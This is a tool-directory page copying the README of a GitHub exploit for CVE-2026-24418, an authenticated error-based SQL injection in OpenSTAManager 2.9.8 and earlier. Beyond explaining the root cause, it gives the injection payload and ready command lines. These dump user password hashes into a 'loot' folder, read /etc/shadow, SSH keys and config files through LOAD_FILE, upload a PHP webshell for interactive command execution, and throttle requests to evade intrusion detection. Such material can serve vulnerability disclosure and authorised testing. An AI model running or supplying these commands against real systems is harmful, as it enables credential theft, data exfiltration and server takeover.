Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. | Kitploit
Tools/GitHubGitHub/bridgeralderson/cve-2026-24418
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingDatabase Security

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.

View Repository
2123 months agoNot yet reviewed

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Error-Based SQL Injection in Scadenzario Bulk Operations Module

Overview

FieldDetails
CVE IDCVE-2026-24418
SeverityHIGH (8.8)
CWECWE-89: SQL Injection
Affected VersionsOpenSTAManager <= 2.9.8
Vulnerable Parameterid_records[] (POST array)
Vulnerable Endpoint/actions.php?id_module=18
Attack TypeError-Based SQL Injection (EXTRACTVALUE)
AuthenticationRequired (any valid user account)

Vulnerability Details

OpenSTAManager v2.9.8 and earlier versions contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the id_records[] array are integers before using them in an SQL IN() clause, allowing authenticated attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.

Root Cause

  1. Entry Point — /actions.php receives id_records[] via POST
  2. Insufficient Sanitization — array_clean() only removes empty values, does NOT validate data types
  3. Injection Point — /modules/scadenzario/bulk.php passes unsanitized values directly into a SQL IN() clause
  4. Data Exfiltration — EXTRACTVALUE/UPDATEXML error messages leak query results

Features

FeatureDescription
--infoDatabase server fingerprinting (version, user, hostname, OS, paths)
--privsMySQL privilege enumeration (FILE, SUPER, PROCESS)
--usersFull credential dump from zz_users with auto hash export
--dbsEnumerate all accessible databases
--tablesList tables with row counts
--columnsList columns with types and nullable info
--dumpData exfiltration from any table/column
--sqlCustom SQL query execution
--file-readRead server files via LOAD_FILE() (/etc/passwd, config files, SSH keys)
--file-read-hexHEX-encoded file read to bypass filters
--webshellUpload PHP webshell via INTO DUMPFILE
--rceInteractive command execution via uploaded webshell
-o / --outputSave all results to JSON, CSV, and hashcat/john formats
--proxyHTTP proxy support (Burp Suite)
--delayRequest throttling for IDS/WAF evasion

Installation

git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Usage

Authentication

# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Reconnaissance

# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all

# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Credential Extraction

# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Output files:
#   ./loot/users.json          - Full user data
#   ./loot/users.csv           - CSV format
#   ./loot/hashes_hashcat.txt  - Hashcat format (mode 3200)
#   ./loot/hashes_john.txt     - John format (user:hash)

Database Enumeration

# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

File Read (LFI via SQL)

# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Remote Code Execution

# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE will auto-upload webshell if none exists

Output & Reporting

# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Generated files:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Network Options

# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Full Option Reference

Target:
  -t, --target           Target base URL

Authentication:
  -u, --user             Username for login
  -p, --password         Password for login
  -c, --cookie           Existing PHPSESSID value

Enumeration:
  -D, --database         Target database name
  -T, --table            Target table name
  -C, --columns-list     Columns to dump (comma-separated)
  --limit                Row limit for dumps

Actions:
  --info                 Database server information
  --users                Dump zz_users credentials
  --dbs                  Enumerate databases
  --tables               List tables
  --columns              List columns (requires -T)
  --dump                 Dump data (requires -T and -C)
  --sql QUERY            Custom SQL query
  --all                  Run --info + --privs + --users
  --privs                Check MySQL privileges

File Operations:
  --file-read PATH       Read file via LOAD_FILE()
  --file-read-hex PATH   Read file via HEX encoding

Remote Code Execution:
  --webshell             Upload PHP webshell
  --webroot PATH         Webroot path for shell upload
  --rce                  Interactive command execution

Output:
  -o, --output DIR       Save results to directory

Network:
  -m, --module-id        Module ID (default: 18)
  --proxy                HTTP proxy URL
  -k, --no-ssl-verify    Disable SSL verification
  --delay                Request delay in seconds

Technical Details

Payload Structure

id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

EXTRACTVALUE Character Limit

MySQL's EXTRACTVALUE() returns max ~32 characters via XPATH errors. The tool automatically chunks long results using SUBSTRING():

SUBSTRING((<query>), 1, 31)    -- Chunk 1
SUBSTRING((<query>), 32, 31)   -- Chunk 2
...

Webshell Upload Mechanism

Download Tool